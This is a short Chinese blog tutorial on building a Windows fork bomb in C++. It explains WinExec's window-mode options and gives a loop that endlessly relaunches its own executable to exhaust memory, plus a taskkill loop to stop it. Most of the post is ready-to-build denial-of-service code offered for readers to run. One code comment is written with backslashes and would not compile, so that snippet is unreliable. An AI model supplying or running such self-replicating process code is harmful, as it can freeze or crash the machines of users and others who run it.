windows下的C++版fork炸弹(无需POSIX标准)

fork炸弹(fork bomb)在计算机领域中是一种利用系统调用fork(或其他等效的方式)进行的拒绝服务攻击。与病毒与蠕虫不同的是,fork炸弹没有传染性,而且fork炸弹会使对同时执行进程、程序数设限的系统无法执行新程序,对于不设限的系统则使之停止响应  。
fork炸弹通过进程递归式派生(fork,亦即自我复制),以使系统拒绝服务甚至崩溃。

                                                                                                                                                        ——摘自百度百科

> 但百度百科上只给出了POSIX标准下的C++程序。

> 百般无奈下的我只好自己写一个。

其原理就是不断创建新进程耗尽计算机的内存

再给张图大家理解:


所以,只们可以使用WinExec函数来启动进程

那么怎么使用呢?

首先,常量字符串中‘\’必须写成‘\\’,也就是WinExec("E:\QQ.EXE",SW_SHOW); 必须改为:
WinExec("E:\\QQ.EXE",SW_SHOW); 
补充回答:SW_HIDE不行的话用SW_SHOWMINNOACTIVE。
除以上提到的三个以外,第二个参数还有以下7种选择:
SW_MAXIMIZE          //最大化运行 
SW_MINIMIZE          //最小化运行 
SW_RESTORE //将最大化或最小化的窗口恢复正常 
SW_SHOWMAXIMIZED   //激活窗口并以最大化运行 
SW_SHOWMINIMIZED   //激活窗口并以最小化运行 
SW_SHOWNOACTIVATE   //不激活 
SW_SHOWNORMAL       //普通方式

知道了这个以后,我们就可以开始写代码了

#include<windows.h>    //不能用#include<bits/stdc++.h>
using namespace std;
int main()
{
	while(1) \\也可以写成while(true)
		WinExec("这里写你的文件目录,要是生成的那个exe文件",SW_NORMAL);
}

"这里写你的文件目录,要是生成的那个exe文件"这是什么意思呢?

就是当你运行一串代码时,C++就会自动创建一个和源代码文件同名的exe程序,然后你就填上exe文件的目录,注意要加双引号。

比如说是这样:

WinExec("C://Users//Administrator//Documents//fork.exe",SW_NORMAL)

想种终止它也很简单

不断杀掉进程就可以了

code:

#include<windows.h>
using namespace std;
int main()
{
     while(1)
             system("taskkill /f /t /im fork.exe");
}


这个的运行速度比fork_bomb快很多,所以能杀掉进程。
阅读更多
想对作者说点什么? 我来说一句

没有更多推荐了,返回首页